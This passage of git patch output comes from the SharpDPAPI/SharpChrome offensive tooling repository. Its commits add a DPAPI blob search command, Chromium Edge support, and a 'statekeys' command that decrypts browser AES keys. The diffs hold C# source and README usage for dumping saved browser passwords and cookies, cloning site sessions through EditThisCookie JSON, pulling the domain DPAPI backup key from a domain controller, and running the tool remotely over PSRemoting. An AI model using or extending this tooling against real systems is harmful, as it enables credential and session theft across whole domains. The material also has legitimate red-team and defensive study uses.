SharpDPAPI.exe search /type:base64 [/base:] ``` @@ -1168,7 +1168,7 @@ The search command has different arguments depending on the data type being scan When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration. -When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\folder` and optionally use `/maxBytes:` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. +When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\folder` and optionally use `/maxBytes:` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use `/showErrors` to display an errors that occur during enumeration. When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter. diff --git a/SharpDPAPI/Commands/Search.cs b/SharpDPAPI/Commands/Search.cs index 41930c2..cedb499 100644 --- a/SharpDPAPI/Commands/Search.cs +++ b/SharpDPAPI/Commands/Search.cs @@ -80,7 +80,7 @@ private void SearchFolder(Dictionary arguments) if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); - Console.WriteLine($"[*] Searching for the folder {path} for files potentially containing DPAPI blobs the first {maxBytes} bytes\n"); + Console.WriteLine($"[*] Searching for the folder {path} for files potentially containing DPAPI blobs in the first {maxBytes} bytes\n"); FindFiles(path, maxBytes, showErrors, (filePath, displayErrors) => { From f47dacdcb368dbf3fba787cbaf1375fcf95f1d39 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Mon, 13 Jul 2020 10:52:45 -0700 Subject: [PATCH 07/66] Version 1.8.0 Added the "search" command to search for DPAPI blobs Removed certificate triage from the machinetriage/triage commands Code cleanup and some refactoring --- CHANGELOG.md | 14 ++++++++++++++ SharpDPAPI/Commands/Machinetriage.cs | 2 +- SharpDPAPI/Commands/Triage.cs | 2 +- SharpDPAPI/Domain/Info.cs | 10 +++++++++- SharpDPAPI/Domain/Version.cs | 2 +- 5 files changed, 26 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a2c3326..1f1f501 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,20 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.8.0] - 2020-07-13 + +### Added +* **SharpDPAPI** project + * Landed @leechristensen's `search` command to search for DPAPI blobs + +### Removed +* **SharpDPAPI** project + * Removed machine/user certificate triage from the `triage` and `machinetriage` commands + +### Changed +* Code cleanup and refactoring + + ## [1.7.0] - 2020-05-06 ### Added diff --git a/SharpDPAPI/Commands/Machinetriage.cs b/SharpDPAPI/Commands/Machinetriage.cs index 6b31b18..37f92dc 100755 --- a/SharpDPAPI/Commands/Machinetriage.cs +++ b/SharpDPAPI/Commands/Machinetriage.cs @@ -31,7 +31,7 @@ public void Execute(Dictionary arguments) Triage.TriageSystemCreds(mappings); Triage.TriageSystemVaults(mappings); - Triage.TriageSystemCerts(mappings); + //Triage.TriageSystemCerts(mappings); } } } diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index 9fe5ace..d0ce2a0 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -61,7 +61,7 @@ public void Execute(Dictionary arguments) { Triage.TriageUserCreds(masterkeys, server); Triage.TriageUserVaults(masterkeys, server); - Triage.TriageUserCerts(masterkeys, server); + // Triage.TriageUserCerts(masterkeys, server); Console.WriteLine(); if (masterkeys.Count == 0) { diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index 898d370..bdefdfd 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -22,12 +22,20 @@ public static void ShowUsage() SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk] +The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + Machine/SYSTEM Triage: machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) machinecredentials - use 'machinemasterkeys' and then triage machine Credential files machinevaults - use 'machinemasterkeys' and then triage machine Vaults - machinecerts - use 'machinemasterkeys' and then triage machine certificate stores + machinecerts - use 'machinemasterkeys' and then triage machine certificate stores machinetriage - run the 'machinecredentials' and 'machinevaults' commands diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 4dc085c..0d7d83f 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.7.0"; + public static string version = "1.8.0"; } } From 5964eebc3e52ef692a43f09cddf6fdfab673e1bf Mon Sep 17 00:00:00 2001 From: harmj0y Date: Wed, 2 Sep 2020 14:14:09 -0700 Subject: [PATCH 08/66] Version 1.9.0 Added Chromium-based Edge support for SharpChrome Added /consoleoutfile support for SharpDPAPI/SharpChrome Added "statekeys" command to SharpChrome Fixed SharpChrome cookie bug for expires times of 0 --- CHANGELOG.md | 15 ++ README.md | 83 +++++--- SharpChrome/Commands/Cookies.cs | 29 ++- SharpChrome/Commands/Logins.cs | 26 ++- SharpChrome/Commands/Statekeys.cs | 88 +++++++++ SharpChrome/Domain/CommandCollection.cs | 1 + SharpChrome/Domain/Info.cs | 31 +-- SharpChrome/Program.cs | 115 +++++++++-- SharpChrome/SharpChrome.csproj | 1 + SharpChrome/lib/Chrome.cs | 242 +++++++++++++++++++----- SharpDPAPI/Domain/Info.cs | 2 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/Program.cs | 115 +++++++++-- SharpDPAPI/lib/Helpers.cs | 17 ++ SharpDPAPI/lib/Triage.cs | 1 - 15 files changed, 646 insertions(+), 122 deletions(-) create mode 100644 SharpChrome/Commands/Statekeys.cs diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f1f501..19723a7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.9.0] - 2020-09-02 + +### Added +* **SharpChrome** project + * Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge` + * Added the `statekeys` command to triage reachable Chromiun AES state keys. + * Added the ability to supply `/statekey:X` to `cookies` and `logins` commands. + +### Fixed +* **SharpChrome** project + * Cookie expires filtering for 0 values. + +* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md) + + ## [1.8.0] - 2020-07-13 ### Added diff --git a/README.md b/README.md index 4e547ec..f38f0a0 100755 --- a/README.md +++ b/README.md @@ -8,6 +8,8 @@ The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. +Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome. + SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) @@ -49,6 +51,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. * [SharpChrome Commands](#sharpchrome-commands) + [logins](#logins) + [cookies](#cookies) + + [statekeys](#statekeys) + [backupkey](#backupkey-1) * [Compile Instructions](#compile-instructions) + [Targeting other .NET versions](#targeting-other-net-versions) @@ -63,7 +66,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | - v1.7.0 + v1.9.0 @@ -72,12 +75,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk] + The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + Machine/SYSTEM Triage: machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) machinecredentials - use 'machinemasterkeys' and then triage machine Credential files machinevaults - use 'machinemasterkeys' and then triage machine Vaults - machinecerts - use 'machinemasterkeys' and then triage machine certificate stores + machinecerts - use 'machinemasterkeys' and then triage machine certificate stores machinetriage - run the 'machinecredentials' and 'machinevaults' commands @@ -109,14 +120,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license. These functions wrap all the other applicable functions that can be automatically run. - #### SharpChrome Command Line Usage __ _ (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ __) | | (_| | |_) \_ | | | (_) | | | (/_ | - v1.6.1 + v1.9.0 Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: @@ -124,29 +134,32 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] - Global arguments for the 'cookies' and 'logins' commands: + Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekeys' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex - /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex + /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex + /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) @@ -175,7 +188,7 @@ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cooki Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. -If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. +If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` is specified, for newer Chromium-based Edge browser triage. By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse. @@ -1177,11 +1190,11 @@ When searching a base64 blob, specify the base64-encoded bytes to scan with the ### logins -The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`. @@ -1189,11 +1202,11 @@ If run from an elevated context, Login Data files for ALL users will be triaged, ### cookies -The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`. @@ -1201,6 +1214,14 @@ If run from an elevated context, Cookie files for ALL users will be triaged, oth The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites. +### statekeys + +The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`. + +State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. + +If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed. + ### backupkey The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) @@ -1211,11 +1232,12 @@ This base64 key blob can be decoded to a binary .pvk file that can then be used By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`. + ## Compile Instructions We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :) -SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build. +SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build. ### Targeting other .NET versions @@ -1234,3 +1256,18 @@ SharpDPAPI can then be loaded in a PowerShell script with the following (where " The Main() method and any arguments can then be invoked as follows: [SharpDPAPI.Program]::Main("machinemasterkeys") + +#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting + +Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that. + +If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script: + + [SharpDPAPI.Program]::MainString("machinemasterkeys") + +You should then be able to run SharpDPAPI over PSRemoting with something like the following: + + $s = New-PSSession dc.theshire.local + Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1 + +Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file. diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 072645b..6864789 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -10,7 +10,6 @@ public class Cookies : ICommand public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Cookies Triage\r\n"); arguments.Remove("cookies"); string displayFormat = "csv"; // "csv", "table", or "json" display @@ -20,6 +19,15 @@ public void Execute(Dictionary arguments) bool setneverexpire = false; // set cookie output expiration dates to now + 100 years string cookieRegex = ""; // regex to search for specific cookie names string urlRegex = ""; // regex to search for specific URLs for cookies + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -51,7 +59,13 @@ public void Execute(Dictionary arguments) showAll = true; } - if(showAll) + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + + if (showAll) { Console.WriteLine("[*] Triaging all cookies, including expired ones."); } @@ -101,11 +115,17 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); - Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex); + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes); } else { @@ -120,7 +140,8 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire); + // last "true" -> indicates we want to triage Edge + Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 8c953b1..02bda48 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -10,13 +10,21 @@ public class Logins : ICommand public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Saved Logins Triage\r\n"); arguments.Remove("logins"); string displayFormat = "csv"; // "csv" or "table" display string server = ""; // used for remote server specification bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -33,6 +41,12 @@ public void Execute(Dictionary arguments) showAll = true; } + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + if (arguments.ContainsKey("/server")) { server = arguments["/server"]; @@ -74,11 +88,17 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); - Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect); + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes); } else { @@ -93,7 +113,7 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect); + Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs new file mode 100644 index 0000000..1cff77e --- /dev/null +++ b/SharpChrome/Commands/Statekeys.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Statekeys : ICommand + { + public static string CommandName => "statekeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n"); + arguments.Remove("cookies"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + string password = arguments["/password"]; + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (arguments.ContainsKey("/server")) + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); + } + else + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); + } + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Chrome.TriageStateKeys(masterkeys, server, unprotect, target); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Chrome.TriageStateKeys(masterkeys, server, unprotect); + } + } + } + } +} \ No newline at end of file diff --git a/SharpChrome/Domain/CommandCollection.cs b/SharpChrome/Domain/CommandCollection.cs index be7f94e..d951e4f 100755 --- a/SharpChrome/Domain/CommandCollection.cs +++ b/SharpChrome/Domain/CommandCollection.cs @@ -20,6 +20,7 @@ public CommandCollection() _availableCommands.Add(Backupkey.CommandName, () => new Backupkey()); _availableCommands.Add(Logins.CommandName, () => new Logins()); _availableCommands.Add(Cookies.CommandName, () => new Cookies()); + _availableCommands.Add(Statekeys.CommandName, () => new Statekeys()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 87f4236..a2b59b8 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpChrome.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ "); Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ "); @@ -21,29 +21,32 @@ public static void ShowUsage() SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] -Global arguments for the 'cookies' and 'logins' commands: +Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekey' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex - /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex + /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs index e05be6b..4ae5474 100755 --- a/SharpChrome/Program.cs +++ b/SharpChrome/Program.cs @@ -2,32 +2,123 @@ using System; using System.Collections.Generic; using SQLite; 